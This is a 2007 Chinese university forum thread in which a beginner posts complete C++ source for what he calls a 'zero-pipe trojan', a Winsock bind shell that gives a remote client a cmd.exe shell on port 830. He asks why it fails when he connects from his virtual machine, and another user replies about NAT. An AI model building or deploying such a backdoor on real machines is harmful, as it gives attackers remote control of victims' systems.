我来我网
https://5come5.cn
 
您尚未 登录  注册 | 菠菜 | 软件站 | 音乐站 | 邮箱1 | 邮箱2 | 风格选择 | 更多 » 
 

本页主题: 求教:一个程序运行没有达到预期效果 显示签名 | 打印 | 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题

gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ heaven /'hevn/ n. 天堂,天国,(pl.)天,天空 ]


求教:一个程序运行没有达到预期效果

以下是个零管道木马程序
// CMDPipe0.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"Ws2_32.lib")

int main()
{
   WSADATA ws;
   SOCKET listenfd;
   int ret;
   //初始化wsa
   WSAStartup(MAKEWORD(2,2),&ws);
   // 建立socket,注意要用WSASocket
   listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  //[屏蔽]本机830端口
   struct sockaddr_in server;
   server.sin_family=AF_INET;
   server.sin_port=htons(830);
   server.sin_addr.s_addr=INADDR_ANY;
   ret=bind(listenfd,(struct sockaddr *)&server,sizeof(server));
   ret=listen(listenfd,2);
   //如果客户端请求830端口,接受连接
   int iAddrSize=sizeof(server);
   SOCKET clientfd=accept(listenfd,(struct sockaddr *)&server,&iAddrSize);
   STARTUPINFO si;
   ZeroMemory(&si,sizeof(si));
  si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow=SW_HIDE;
   si.wShowWindow=SW_SHOWNORMAL;
   si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientfd; //零管道通信的关键!!!
  char cmdLine[]="cmd";
   PROCESS_INFORMATION ProcessInformation;
   //建立进程
   ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

  return 0;
}
,但在实现过程中出了点问题.首先我在本机上编译运行该文件,以使本机处于830端口的[屏蔽]状态,系统弹出如下图01所示控制台的窗口
顶端 Posted: 2007-03-03 21:21 | [楼 主]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ elect /i'lekt/ v. 选举 ]


然后,我在虚拟机对本机进行连接,打算接收开放的cmd shell,如若成功本应当如下图04所示,可以对本机进行相应的dos指令的操作
远程图片:04.JPG
顶端 Posted: 2007-03-03 21:22 | [1 楼]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ besides /bi'saidz/ prep. 除…之外(还);ad. 而且,此外 ]


可是运行结果却是本机控制台窗口如图02,虚拟机上客户端的窗口却没有任何反应,按下任意键后仍然没有获得本机的shell ,还在自己的虚拟机上如图03.根据主机的反应,我想它应当是受到了客户端的请求的,主要原因应当在cmd进程的通信过程出了差错,可我还只是个初学者,毕竟学习还不够深入,一些细节还不够清楚,故而恳请各位蝈蝈指点.

谢谢!!!!!!!!!!!
远程图片:02.JPG 远程图片:03.JPG
顶端 Posted: 2007-03-03 21:23 | [2 楼]
newton



性别: 保密 状态: 该用户目前不在线
头衔: Messi + Aimar
等级: 人见人爱
家族: 考研俱乐部
发贴: 2770
威望: 1
浮云: 1777
在线等级:
注册时间: 2004-11-27
最后登陆: 2017-06-08

5come5帮你背单词 [ floor /flo:/ n. 地板,楼层 ]


你是主机连虚拟机呢?
还是虚拟机连主机呢?
如果是虚拟机连主机。那么应该能正常工作。
但是如果是主机连虚拟机。这里就有个nat的影响了。。。
真实的端口就不是你程序里的端口了
顶端 Posted: 2007-03-03 21:39 | [3 楼]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ slide /slaid/ vi. 滑,滑动,悄悄地溜走,不知不觉地陷入;n. 滑动,跌落,幻灯片 ]


是虚拟机连主机
顶端 Posted: 2007-03-04 11:34 | [4 楼]
我来我网·5come5 Forum » 程序员之家

Total 0.009936(s) query 5, Time now is:11-23 15:38, Gzip enabled
Powered by PHPWind v5.3, Localized by 5come5 Tech Team, 黔ICP备16009856号